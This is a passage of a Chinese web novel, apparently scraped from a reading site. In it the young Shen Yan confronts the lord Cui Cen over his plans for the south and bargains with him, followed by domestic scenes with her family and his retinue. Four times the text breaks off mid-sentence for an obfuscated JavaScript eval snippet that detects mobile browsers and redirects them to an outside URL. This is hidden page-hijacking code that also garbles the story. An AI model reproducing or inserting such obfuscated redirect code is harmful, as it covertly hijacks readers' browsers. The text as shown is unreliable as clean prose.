钟意眼神一凛，手脚极轻盈地打开门，几个起落没了踪影。 崔岑和林敢不再交谈。 不一会儿功夫，钟意就面色古怪地回来了，身后还跟着一个穿蓑衣提雨灯的纤丽身影。 等到来人摘下笠帽，露出那张眉目婉然的脸，崔岑才知是何缘故。 他有些意外：“沈七娘子？” 来人正是沈砚。 她大半夜来这客院，面对三个大男人，倒是没什么慌乱，只礼貌道：“崔侯恕罪，还请容我先除了雨披。” 崔岑见她这般自在，和林敢交换一个眼神，便吩咐钟意：“去倒茶。” 今晚这大雨来得又急又凶，那蓑衣不过勉强挡雨，沈砚一路走来绣鞋和裙摆尽湿。屋里暖气融融，让她雪白脸色回了些红润，她脱下蓑衣挂在门边，又熄了熟牛皮蒙着的雨灯，这才回转身来。 钟意端来茶水，还去屋里搜罗了个小手炉一并递给沈砚：“沈七娘子暖暖手。” 沈砚也没客气：“多谢钟公子。” 外厅里有一待客的方几，边围铺着软垫。崔岑本该请沈砚入坐，然而他站定了没动，也没叫钟意和林敢退开，只静静望着眼前容颜还稍显稚嫩的少女。 他可没忘记，在金石巷中的那两个瞬息。 沈砚也不在意，开口道：“我说几句便走，还请崔侯拔冗听一听。” “七娘子请说。” 沈砚望着他，缓缓道：“我来，是想恳请崔侯一行早些离开乌镇。” 出人意料的请求。 崔岑倒不惊讶，轻声笑道：“七娘子何出此言，我似乎不曾得罪你，为何就成了不受欢迎的恶客？” 沈砚轻启朱唇，并没有被他眼中矜冷之意吓退：“此刻没有外人，崔侯来郓州的目的你知我知，何妨坦诚些？” “唔？”崔岑微微一笑，看向林敢。 虽只三言两语，林敢已对沈砚生出一分警惕。他接过话：“沈七娘子怕是有什么误会，我们侯爷南下，一来是为北地旱情求助，二来津口有位太叔公四月里要做九十大寿，侯爷此番也是代表博陵崔氏前来贺寿。” 沈砚心中一动，脑中忽闪过一个模糊的念头，又极快溜走了。 来不及追究，她便暂时按下，从容笑道：“这理由也就能一时瞒过我父亲，崔侯真正的目标，怕是想要动摇荆南的刘开将军，阻隔郓州和川蜀，阻隔郓州和汉王室的联络罢？” 她话音还未落下，便敏感地察觉到小厅里的气氛为之一凝。 林敢和钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142931|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意已收起懒散姿态，脚步一错，各守门窗。 面前这人再次出乎了他的意料，崔岑眼里终于多了些东西。他闷笑了一声：“七娘子这是哪里得出的推论，我有些听不懂了。” “其实这并不难猜，崔侯若是愿意听，我就从崔侯南下开始说起。” 沈砚双手捧着暖炉，镇定自若：“虽说去夏北地是生了一场大旱，燕地也受到波及，但以博陵崔氏的底蕴，要撑过一个寒冬并非难事。向来不曾主动对江南伸过手的崔侯竟亲自南下求助，这理由就已十分勉强，此其一。” “江南四大州郡，若说莱州和蓬阳是在津口王氏手中，崔侯不好开口的话，荆南对崔侯而言却是更好的选择。因荆南从前是韦氏主政，刘开将军这几年才刚站稳脚跟，还不曾向汉室和北方好好表态，此时若是崔侯有所示意，刘将军定会咬牙满足。救灾贵在救急，可崔侯偏偏舍易求难来到乌镇，此其二。” “其三，太守府中的暗探这十来年都没揪出过几个，偏崔侯南下之际，我家中就抓到一个荆南益阳的细作。毋论是真是假，我父亲都不免要对左近之邻有所警惕，而刘将军发现郓州有什么动静，难免也要多想一想。这个时机太巧，换了是崔侯，也是要疑心的罢？” 崔岑不置可否：“七娘子如此列举，实则都是你的猜测，半分实据也没有。” “马上就会有了，”沈砚回望他，“从川蜀来的那支提亲队伍，崔侯不是很快就要将它拦截下了么？” 刹那间，从侧面而来的两道目光，落在她身上有如刀斧相加。饶是沈砚镇定，一瞬间还是感到背脊发凉。 她已走到一个十分危险的境地，若一个不慎，她有可能真会命丧于此。 崔岑低头垂眸，看着面前这个娇美女孩，不得不承认她十分有胆气。雨水打湿了她的裙摆，绒白地垫上因水渍滴落显出了一小块深色痕迹，她应该很冷，但这并不能让崔岑感到一丝怜惜。他仍是没有露出什么她可能期待的表情，震惊，佩服？ 他仍是用礼貌的目光，不疾不徐道：“七娘子为何做此猜想？” “因为这些都是阳谋。”沈砚面对他，心里更多的不是害怕，而是一分快意。冷眼旁观这么多年，有些话她找不到可以说的人，崔岑虽不是什么好人，更不是友人，但他可以做个听众。 “此间事，若这样顺着看不出其中干系，不妨逆着来理一理。” “崔侯志在问鼎天下，若是有朝一日叫天下改姓，怕是不愿看到江南这般富庶且藏兵于民。因崔侯岂能不知此次大乱的根源，正是汉室放牧地方，失了掌控，才叫王侯为患。来日中原和北地尘埃落定，其中一方必定是没什么再战之力，只剩江南隔江避祸，所以你私心里定是要收归兵权，叫江南削减战力，不存隐患。” “而我郓州水乡只图明哲保身，想与蜀中粮仓联姻，互为倚助。若真的办成此事，只怕崔侯日后要花十倍力气才能拿下这两个地方，所以你匆忙南下，不但要截住提亲队伍，还要叫夹在川蜀和郓州中间的荆南生出异心，断绝交通。” 沈砚抬头望向崔岑幽深的眼睛，不卑不亢道：“崔侯谋划在若干年后，动手在此时，难怪郓州多数人都没反应过来。” “但我此来是想叫崔侯知道，郓州也并非无人。” 9. 第九章 解决的办法 窗外大雨淅淅哗哗，更衬得屋里沉默如绝地，令人心悸。 崔岑神色平静，听完沈砚一番论述，指出不合理之处：“我若没有记错，七娘子方才是要劝我早些离开乌镇，可依你所说，我怎能在此时离开？” 他已收起了那副漫不经心的姿态，他不介意给这个聪明的沈七一些尊敬。 最危险的一刻过去了。 沈砚暗暗松口气，笑道：“这并不矛盾。崔侯此番在乌镇逗留，不过是要叫众人把目光都放在你身上，很简单的障眼法，没人看穿才能便宜行事，若是说破就不值一提。” “哦？”崔岑饶有兴致，“那七娘子会说破么？” 沈砚摇头：“此为阳谋，光明正大，也叫人无可奈何。” “郓州和荆南本就是表面关系，刘开将军是血洗韦氏才得以执掌一方，他骨子里对世家官绅就有敌意，岂会真的和我沈氏同心戮力？便是没有这个益阳细作，离心背道也只在朝夕，崔侯不过是叫这一切早些挑破而已，叫左邻右舍不能再多安生几年。” “我请崔侯离开乌镇，也正是基于此。崔侯目的是为要削减江南，为日后成就基业，现今最要紧的却是先统一北地，再叫中原刘氏禅位。江南安逸已久，军民避战，现还成不了威胁，崔侯既无法暗中做成此事，逗留越久越容易叫人看破。千金之子坐不垂堂，还请崔侯以安危为重，早日回到燕地主持大局。” 崔岑的眼眸越发深晦，他看见明明这个人才十五岁稚龄，那双眼睛却露出极不相称的慧气。她无疑生得极美，美人他见过不少，但今晚引起他注意的却是她的胆色和英气。 沈闵之这软脚虾竟能生出这样一个聪敏的女儿来？ 他心中有了一丝异样：“七娘子，你的话还未说完罢？若只是以安危为由，怕是还不能说动我。” “不错，”沈砚也有些感叹，和崔岑这种人对话就是畅快，“崔侯是因郓州和川蜀联姻一事以为威胁才南下，若我可以说服我父亲放弃这个念头呢？” 什么？旁听的林敢和钟意均是一愣。 崔岑立时反应过来：“你是说，你不嫁中山王府上？” “这不是最简单的解决办法么？崔侯不想叫郓州和川蜀联合，我不想叫郓州这么快陷于水火，那便各退一步，我不联姻，崔侯也不要动手。” 沈砚的话音落下，一时间屋里落针可闻。 郓州引得崔岑忌惮，便是沈闵之不但想保存实力，还想强上加强，虽则他并不是要争天下，但这样囤粮囤田养着无数乡勇佃农，任谁都无法放任下去。 在今晚见到沈砚之前，崔岑三人从不曾想过一个弱质女流能违逆父母之命，毁坏权利的联结。但是此刻，见过她穿着蓑衣提着雨灯，见过她能顶住莫大压力侃侃而谈，他们不怀疑，沈砚能否摆平她的父亲。 沈太守与他女儿相比，真的相差不只一厘。 崔岑喉中忽发出低低笑声，略带几分暗哑，竟很好听。他笑了一会儿，才抬起那双过分清亮的眼睛：“好，若七娘子近日能劝得你爹改变主意，我就回归燕地。” “君子之言。” “一言以定。” 有这一句就够了，沈砚也没要他做什么保证。 这些不过是明面上给崔岑离去的下台阶，有他没他江南迟早都会乱，且他若要钉下楔子，也不只是现在她能看见的这一根。但崔岑这种人有个好处，他们通常还有几分傲骨，答应的事打个折也会践诺。 她就要出嫁离开沈家，郓州雨势不容乐观，李氏和沈闵之做为父母不曾薄待她，嫂嫂秋天就要生了……形势比人强，江南，就再多安生几年罢。 她又穿上蓑衣，叫钟意帮忙点上雨灯，戴上竹笠，趁夜消失在雨中。 …… 给沈砚端来的茶盏还冒着最后一丝热气，就搁在案几上，沈砚没有动过。 钟意回过神来，叹道：“侯爷，我要收回方才那话！” 是那句讽刺沈闵之的话，林敢知道，他自己又何尝不是被沈砚惊艳，甚至有几个瞬息都被她吓出了冷汗。这位中年悍将眼中闪过一丝疑惑，奇道：“真是怪哉，沈七娘分明才及笄之龄，郓州士绅尚无人能教她勘破时局，她便是鹦鹉学舌也不可能有这般应对，难道真是她自个儿琢磨出来的？” 莫说林敢怀疑，崔岑也有些拿不定。相比沈砚说破的那些意图，他更在意的是，沈砚如此心智为何从不曾传出一丝名声，她竟是个藏拙的？ “再有，沈七娘说到与川蜀联姻时十分平淡，仿佛事不关己。莫非是我老了，现在联姻已是利益操戈，小娃娃们都半点不关心自己的终身大事了？” 崔岑闻言，晒然一笑。他被家中催婚了六七年，倒是能理解沈砚一二，婚姻之事比起这合纵连横的乐趣的确真是无聊！ “今日且这样，”崔岑也不多言，打发两人回到左右厢房，“你们回去安置罢。” 钟意却不走，说是在这陌生地界，他就在外间打地铺守着，以防万一。崔岑不以为意，这太守府里果真有什么超出预料的，便是此刻密室里跳出三千甲兵也不会叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142932|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他吃惊。 唯有沈七，那个叫沈砚的少女，双眸似平湖秋月。 林敢和他们作别，脑中仍在思量着沈砚的到来，走到厢房门口时忽然福至心灵！ 侯爷不愿郓州和川蜀联合，沈七娘这厢就愿另嫁他人，不过何必那么麻烦，如果侯爷娶了沈七娘，岂不一样将这隐患消弭无形！？ 且看沈七娘这般品貌才情，倒是配得上侯爷，男未婚，女未嫁，未尝不可？ 崔老太君为侯爷的婚事急得三天两头叹气，林副将想到南下前老太君那脸色，也不禁暗自嘀咕。哎，侯爷是该认真考虑一下婚姻大事了，说句不吉利的话，刀枪无眼真有个什么，侯爷这基业连个承继的人选也没有，白白便宜旁人。 …… 太守府里遍地都铺着青石板，幸好如此，不然沈砚这一趟来回，不止要湿透，还要变成泥人。 因着夜已深，沈砚一路回来没碰见什么人。院门虚掩着，她轻轻一推，在门后等候的吴娘便赶紧露出身影。 “娘子你可回来了，”吴娘担心坏了，又是心疼又是松了口气，“快把蓑衣脱了，回去屋里泡个热水澡。” 沈砚也知道是自己任性了。但这一趟她不趁雨逮着机会，明日崔岑住进人多眼杂的礼宾馆，她再想找个清静机会就不那么容易了。幸好崔岑不止胆大，人也活泛，倒是能将话听进去几分，不枉她费了这许多口舌。 “快快，快回屋里去，”吴娘见她脱了蓑衣后衣裙湿淋淋的，吓得喊了两声佛祖，“可千万别着凉了，这天气病了可不得了！” 沈砚赶紧提着裙子在围廊上小跑起来，快到她住的堂屋时，忽然瞧见东厢门口有个小人穿着寝衣在望着她。 是沈瑄。 大概是没料到她这样狼狈，沈瑄的神情有些惊讶。 沈砚不知她是没睡在等着自己，还是自己把她吵醒了。大约是今晚酣畅淋漓做成了一件事心里正痛快，她忽然对沈瑄做了一个从来没做过的动作。 她抬起一指竖在唇边，轻轻“嘘”了一声。 很俏皮。 沈瑄果然惊住了，但她马上反应过来，笑弯着眼睛点了点头。 沈砚便回到屋里，阿桃阿杏赶紧把她推进屏风后面，香汤热水都已备好。 窗外雨声淅淅沥沥，沈砚泡在浴桶里，直到昏昏欲睡，才将心神回归平静。她原是装聋作哑多年，万事不理，此番崔岑南下欺郓州无人，叫她看见自己骨子里也还存着一两分好胜之心。 哎，说什么修身养性，功亏一篑。 10. 第十章 英雄的路 这雨一直下到次日，幸而已变作了毛毛银丝。 吴娘早起支开排窗，就见窗前廊下一片草木油光，瓦当滴水连珠似的跌落。 沈砚梳头的时候，沈瑄轻手轻脚走进来：“七姐姐，我能和你一起用早膳么？” 想到昨晚那一刻的默契，沈砚就没有拒绝：“你过来罢。” 沈瑄高兴地跑开。 阿桃在餐几上摆开七八样热腾腾的早食，有面汤、粥点、腌酱菜，还有肉馅卷饼。沈瑄也叫她的侍女阿棠拎来食盒，揭盖后她的那几碗却已没了热气。 阿桃瞧见，心里明白夫人娇惯娘子，娘子的吃食都是单独掐点另做的，十二娘子随大灶，就没这待遇。 片刻后沈砚收拾完过来，沈瑄见了不由眼前一亮，忙直起身招呼道：“七姐姐快来，坐这儿！” 沈砚落座，劝道：“快吃罢，别耽误了你上早课。” “不耽误，我这两天请了假。” 沈家建有族学，无论男女均要上到十三岁，沈瑄还是个女学生。 “哦？”沈砚有了一丝好奇，平日里这个庶妹最喜欢去上学，不愿闲闷在屋里。瞧她今日没什么头疼脑热的，怎么舍得请假？ 沈瑄却不答了。 沈砚也没追问，瞧她碗里没有热气，随口道：“你要不要坐过来，在我这里挑几样？” 这时下还流行分餐制，一人一桌，沈砚邀请妹妹同桌是极亲近的意思。沈瑄喜出望外，她不客气地坐到沈砚身边，笑容甜甜的：“七姐姐，你真好！” 沈砚笑了笑，她可没觉得自己有什么好：“喜欢哪样，自己取来。” 沈瑄就卷了一个热乎的肉饼吃，犹豫道：“七姐姐，你生辰是在五月里么？前头的三姐、四姐都是在家过完生辰后，不久就出嫁了，你是不是也快了？” 十二岁的小女孩已经懂得许多事。沈砚没有瞒她，点了点头。 沈瑄嘴角一垮，嘟囔着“怎么这么快”，又鼓起勇气道：“听说昨日府里来了贵客，是七姐姐的……” 未来夫婿么？ 咦，沈砚才知她今日为何要请假，这小家伙竟是以为提亲的人上门来，族学也不去了，在担心她？ 沈砚有些好笑，又有些触动：“不是，我还未定呢。” “真的？”沈瑄不太相信。 可不是真的，她爹的算盘打错，川蜀联不成姻，她现在还没找到下家呢。沈砚暗笑一声：“真的，所以你今天要回去上学么？” 沈瑄被她点破，赶紧咬了两口馅饼掩饰道：“我都请假了，干嘛还去。” 等吃完早食把沈瑄赶回去，阿桃才找了个机会凑上前来。 “娘子为何这般与十二娘子说，夫人不是说定了蜀中刘家么？” 吴娘和阿杏也都关心地望过来，沈砚出嫁，她们几个都会是陪嫁。 沈砚摇头，有些遗憾道：“怕是不成了，真可惜，我还觉得中山王幼子是个不错的选择呢。” 昨夜拜访崔岑之事，沈砚回来并没有和吴娘几人多说，便是她爹和李氏，她也没打算惊动。 暗室之语，说露了反而生事，悄悄办成便是了。 “有什么不错的，”吴娘不管这桩婚事能不能成，有些话却是不吐不快，“我打听了一下，那刘公子是八月里的生辰，实岁还未有十七，这样的小郎君怎么照顾得了娘子？” 虽然沈砚也才十五，但吴娘心里明白，沈砚心智成熟远超这个年纪，少年人十六七岁在七娘面前便和六七岁童子无异，真嫁过去也不知是谁照顾谁，实在有些委屈了。 “我真觉得不赖！”沈砚偏和她唱反调，“吴娘你看，他是幼子不必承继家业，我就不是大妇的劳碌命。虽然他年纪小些，可婆家也不会急着催我生养，我拖上几年生一个足矣，再合意不过。” 见沈砚大胆说什么生不生的话，吴娘没有大惊小怪，只是往门外瞧了一眼才轻声道：“娘子想得美，你这性子岂能看上那些无足轻重的小娃娃？这天下多少英雄豪杰，娘子既说和刘家做不成亲事了，那便剩下的里头再挑一个罢。” 英雄豪杰？ 沈砚想到现在还在家里做客的那一个，轻嘲一笑：“这世道，女人也别想那么轻易依附谁而一步登天。这路要自己踩着才踏实，英雄走英雄的路，女人跟在后面吃尘吃灰有什么意思？” “不过吴娘说的也对，”沈砚见她怔住，转而笑道，“这天下风流人物，我也是有愿意嫁的。譬如太原范家的公子礼，庶子出身，才情绝佳，又喜好游山玩水，若能跟着他踏遍四野八荒，也是不错。” 沈砚挣着一切能出门的机会不放，这吴娘是知道的，没想到她择选夫婿竟也将这事列为要紧的条件？ 吴娘见她语气半真半假，又辩不过她的歪理，忙转开话头：“这些事自有使君和夫人操心，娘子早间还要制砚么，崔侯还在做客呢。” 沈砚从支起的排窗下，看见渐呈明朗的天色，答非所问：“这雨快要停了，府上再留他一顿饭罢。” …… 果然还未到巳时雨便停了。李氏打发人过来告诉沈砚，中午还在香雪楼开宴。 再见崔岑，他换了件鸦青色织金暗纹锦袍，略显老成的暗沉色调反衬得他年轻稳重，气质卓绝。他真的太招人侧目，浑身上下都有股和这江南轻奢之气不同的吸引力。 爱帅之心人皆有之，沈砚也不能免俗。 只是这会儿，面对沈砚身为女眷已属放肆的打量目光，崔岑没有针锋相对，只投来轻轻一瞥。 林敢也装作不识的样子，倒是钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142933|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意趁人不备，偷偷向她招了招手。 沈砚注意到，他们一行人中还多了几个身影，这回倒不难认，均是家仆模样。崔岑这等世家子出行，便是行军打战也是有人随侍内务的。昨日原定行程是宿在礼宾馆，估计人都去了那边打点。 乐声渐起，沈家有自己的乐府班，用处正在此时。 十几位美貌女姬在角落里各操乐器，高低婉转间应和着堂下翩翩舞姬。舞姬雪白的赤足踩在巨幅地垫上，仙裙款摆，水袖翻飞，媚眼盈盈之际，香风来袭。 席间，沈闵之几兄弟又是频频劝酒，一点不输郓州待客的真诚和热情。 崔岑也来者不拒，很给面子。 沈砚桌上也有一壶蜜花酒，邻桌的嫂子王茉杯中是果浆，她们两人不过凑趣。她时而朝上席瞥去一眼，心道几位叔叔看来是想使坏，叫崔小高醉倒在江南醇厚的花雕酒下，可惜怕是难以如愿。 宴毕，沈闵之亲自送崔岑等人去礼宾馆。沈砚看得分明，崔岑转身之际，似不经意望了她一眼。 幽深而澄亮，没有醉意。 沈砚弯了弯唇角，他们之间还有约定，她没忘。 男人们都走了，沈砚就护送嫂子王茉回屋去。她如今还不显怀，已有意无意将手搭护在腹间。 将人送到后，沈砚也不急着离开。王茉吩咐侍女上茶点，两人就坐着闲聊。片刻后，沈砚将话儿拐到此来的目的上。 “前日嫂嫂也听见了，母亲说要将我嫁于川蜀，”沈砚蹙着眉，有些忧愁道，“唉，那里真正山高水远，我怕是嫁去后再没机会回来看一眼兄长嫂嫂了。” 沈砚的婚事，私下里沈复早就和王茉通过气，其实王茉也有不解。 川蜀之地因着天然地势，交通闭塞，许多人一辈子没出过川，不知外面岁月。有传言说蜀中很是富饶，但那又如何，那山里面怎比得上繁花似锦的江南？小姑子看着是安淡性子，实则没吃过半点苦，真不知公爹是怎么想的，怎么就挑了那么个地方。 但王茉身为儿媳是不会质疑沈闵之和李氏的，因而只笑着劝解道：“阿砚想哪儿去了，便是道路难行，你想回来就回来，谁又能拦得我们郓州的女公子？” “那可是巫山和怒江呢，崇山峻岭百八十个弯，江流湍急，险滩遍布，我听说再老练的船工都要打起十二分精神才能险险过江。更何况，想来中山王刘家未必喜欢我和郓州走动，如此种种，怕我这一去再难回来了。” 说着，沈砚似所有要离家远嫁的小姑娘那样，只想一想将来的情形便心酸得眼睛都要红了。 果然，王茉纤眉轻轻一挑，温言劝慰道：“阿砚快别胡思乱想，我们女儿家联姻，正是为了维系两家情谊往来，你是我们太守府的掌上明珠，那刘家为何不叫你与娘家走动？” 11. 第十一章 真实 沈砚朝左右望了一眼，王茉会意，叫婢女都退下。 沈砚这才委屈道：“嫂嫂你可别说是我说的，我心里也还糊涂着呢。我听母亲悄悄说起，别看蜀道艰难，川中倒是平坦，我爹想将我嫁去那个偏远地方，是看中了川蜀平原的粮仓。可我琢磨着，咱们郓州鱼米之乡，哪里会缺粮食？” 李氏自然没有和她说起过这些，不过她爹沈闵之定是和李氏通过气的，此刻假托李氏之名，倒也不怕王茉来日试探。 “这倒是真的。”王茉本是随意听小姑子说些闲话，这会儿倒察觉出一丝异样来。沈家在郓州经营三代，拥有万顷良田，粮食堆满几十座大仓，公爹竟还要将阿砚嫁去蜀中换粮？ “见我不乐意，母亲才告诉了我几句，那意思竟是……”沈砚停了一停，语气里很是诧异，“母亲说，等将来郓州打起仗来，我们背靠川蜀才好捱过去。这真不是瞧我年纪小糊弄我么，江南承平百年，哪里来打仗？” “是呢，好好的怎会打起来，母亲这话好不解。”王茉随意应了一声。她本想着郓州多的是粮食，哪里需要蜀中支援，忽的想到方才离去的崔侯，再想到公家隔年便要四处上供，无数钱粮转手就进了别人口袋，顿时有些梗住。 郓州承平不假，地方兵员没见过血也是真，自然比不上中原和北地，将来真打起来，说不定真是散尽家财残喘活着。这么一想，婆婆的话就有了道理，也难怪公爹要将嫡亲小姑子嫁去川蜀。 她娘家就在大江南岸，一江之隔，比其他州郡感受更深。浓烟焦土，绿林出没，流民逃窜，那江边还时常飘来舢板和亡溺之人，郓州还能安生多久？ “就算母亲说的是真，可我瞧着，将我嫁去也没什么用。嫂嫂你瞧，中山王刘家是皇室旁支，现敕封的刘锦和景帝还是未出五服的堂亲呢，可当年那样乱时，世袭的中山王一支又在哪里？蜀中闭门不出，连对皇亲都掩耳塞听，我爹寄望联姻便能叫他们在乱局里给郓州一口粮吃，反正我是不怎么信的。” 沈砚捧着茶杯，暗暗打量王茉的神色，又加上最后一把火：“这些话我也同母亲说了，母亲劝我，这说不得是十几年后最要紧的一步棋，我只管听话便是……可母亲怎么不想想，到那时我们郓州要低头靠别人脸色过活，我一个小女子又哪有本事能为郓州讨来好处？” 王茉回过味来，脸色一变。 十几年后不知是怎个情形，瞧汉王室那政令不通的模样，郓州多半还是在沈家手里。兴许那时候已轮到沈复当家，她也成了太守夫人，但照公爹此时安排，郓州最重要的一道保障已落在联姻的小姑子身上。再想一想，大江南岸口无论何时都是咽喉之地，真个打起来，首先就是她娘家武陵要失陷。没有娘家倚仗，她也人到中年，如何斗得过那些莺莺燕燕，保得住她的地位？ 对了，还有她的儿子！她不自觉摸了摸还平坦的腹部，中山王如此冷情，小姑子怕也难有作为，公爹为以后安排的这一步竟可能是废棋。公爹为何就不为沈复多寻个助力，这基业还是要传给他孙子的呀！ 沈砚见王茉眼皮轻跳，显然正在头脑风暴，便不再言语，低头咬了一口桃米糕。 又糯又甜，她不爱吃。 再坐了一会儿，沈砚便告辞离去。 嫂子王茉是个机灵人，也有几分果断，当年李氏相儿媳，正是看重她这点。无论如何，总算有第一个人反对这门亲事了。 沈砚回了院子，就见沈瑄正在廊下穿鞋，一副外出打扮。 “七姐姐，好不容易天晴了，我正要去找沈霜玩，七姐姐要同去么？”她又想起了什么，补充道，“霜儿她姐姐沈霖也在，七姐姐识得的。” 沈砚前两年也还在族学里混着呢，族中姊妹都是同窗。不过沈砚勉强待在一群孩子中间照本宣科已是极限，叫她和这些萝卜头交朋友是万万不能的，并无特别交好的同窗。 “不了，你出去玩罢。”沈砚拒绝了她的邀请。 沈瑄也不气馁：“那我回来给七姐姐带几枝桃花。” 吴娘听见声响迎了出来，正好瞧见沈瑄的侍女阿棠对着沈砚露出不太高兴的神色。她微微一笑，柔声叮嘱道：“这雨下了一夜，十二娘子出去玩，当心不要落脚在泥水里。” …… 晚间沈瑄回来，果然摘了几枝粉艳艳的桃花送给沈砚。沈砚也不见特别欣喜，只道了声谢。 东厢里吃晚食的时候，阿棠再也忍不住了：“娘子，我瞧见那边晚膳有你爱吃的麻酱拌茄子，七娘子怎么也不叫你去尝尝？” 她们的饭食和沈砚不同，沈砚有的，沈瑄未必有。阿棠一向知道自家娘子爱跟在沈砚屁股后头，不管人家多冷淡。就像刚刚还送去了插瓶的花枝，不管好赖是心意，沈砚却不会想到有好吃的要叫上自家娘子。 多气人啊，也太冷情了，沈砚怎能这样做人？ 沈瑄放下碗筷，有些严肃道：“阿棠，往后可别再说这样的话了，七姐姐待我好，我心里是明白的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142934|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阿棠都要被她的糊涂急死了：“奴婢怎么没觉得她待你好？” “哎，大概是你还小吧？”沈瑄叹了口气，觉得比她大一岁的阿棠还不如自己看得明白，“七姐姐是个很真的人，她的喜欢就是喜欢，不喜欢就是不喜欢，不会一面说着虚假的话，一面做着违心的事。” 阿棠差点翻了个白眼，先去关上门，这才大着胆子道：“什么叫真？” “奴婢都看在眼里，娘子这些年跟前跟后的，就算是个雪人，也该把她捂热了。她是少一筷子吃食还是少一页描红，住在一个屋檐下，竟也不怎么过问娘子的起居功课？偏偏娘子还喜欢笑脸贴着她，这么一比，我每回瞧见心里可难受了！” 听到阿棠抱屈的一番话，沈瑄有些严肃的小脸绷不住了。她是在嫡母手下讨生的庶女，身边只有这一个顶顶亲近的侍女，她耐心道：“阿棠先别急，就说晚上这道菜，厨房配给了七姐姐，我却没有，你的意思，七姐姐就应该请我去吃？” 照顾幼妹明明是应该这样没错，怎么被娘子说出来就变了个味？阿棠有些不高兴：“七娘子是姐姐，难道不该么？” “就因为她是姐姐，就得哄着我、让着我、赔我笑脸么？”沈瑄摇了摇头，亲姐妹也没有这样的道理，何况她们还同父异母。 沈瑄的生母吴氏只是侍妾，出身寻常，偏又性子柔弱，敏感多思，在沈瑄五岁时就病逝了。母亲这样见风流泪，让沈瑄从小就学着懂事，也叫她格外能分辨谁有几分真心谁是几分假意。 “阿棠，没有这样的道理，七姐姐愿叫我去我就去，她不叫我也没什么。我喜欢整日黏着她，可从没觉得她也该整日来关心我，”沈瑄倒是看得开，“七姐姐不是那样性子的人，这也不是一杆秤，我站这头她站那头，我待她怎样，她也待我同样重量。” “我真觉得现在这样很好呢，只要她不赶我，我就一直黏着她。” 堂屋里，沈砚放下凿磨了一下午的刀具，洗手用饭。 吴娘已在餐几上摆开饭食，瞧见有个碟子，不由笑道：“是十二娘子爱吃的，娘子要叫她来尝尝么？” “那就来罢。”沈砚瞥了一眼，随意道。 吴娘正要唤阿杏去，一旁的阿桃忽眼尖道：“等等，今天这麻酱颜色有些不一样。往日里是褐绛色，今天是青紫色，怕是捣了些贝叶进去，十二娘子不喜欢贝叶的味道。” 一点吃食沈砚也不在意：“那就不叫她了。” 吴娘也作罢。 12. 第十二章 意外 乌镇西首跨两条胡同，设有“礼宾馆”，用来接待各地前来郓州的上宾、来使、有才贤者，甚至草莽英杰。馆舍共房一百余间，还辅以游宴厅、演武场、讲堂、书楼等建筑，有山山水水，又巍巍大方。 沈闵之特特挑了一处上好的院落，又亲自安排崔岑等人的食宿。 等崔岑下榻，就见到了两个熟悉面孔，赫然是昨夜在沈家暖床的那两个侍女。 那嘴角有颗小痣的少女，名叫小蛮。面对崔岑目光，小蛮大方行礼道：“崔侯爷，使君派我二人过来做些洒扫杂务，我和小莲不敢近前打扰。” 这爽利模样，和昨晚灯下的袅袅娜娜完全不同。 崔岑不置可否。 见侯爷没有打发她们，世仆崔糕忙上前把两个娇滴滴的小美人领下去。哎呦，这模样哪能干粗活，还是留着看晚上有没有造化罢！ 一把山羊胡的崔糕年近五十，仍是体格健朗，耳聪目明。他从小看着崔岑长大，现在只和老太君一个心愿，那便是能看到小侯爷娶妻生子，再让他带几年小小侯爷。这回跟着南下照顾起居，崔糕暗地里甚至得了老太君示意，只要是身家清白女子，不拘崔家子孙从哪个肚里出来的！ 这“暖床”规矩崔糕是清楚的，招待贵客都选的清白女孩。有些特意调|教过的，才貌不输大家闺秀，一旦客人受用过，离去时主家多半会成人之美。小侯爷一直对女色看得淡，崔糕现在只盼江南这些娇俏美人能叫侯爷开窍了！ 一旁的钟意瞧见崔糕神情，就知道他在想什么，撇撇嘴又不敢笑。 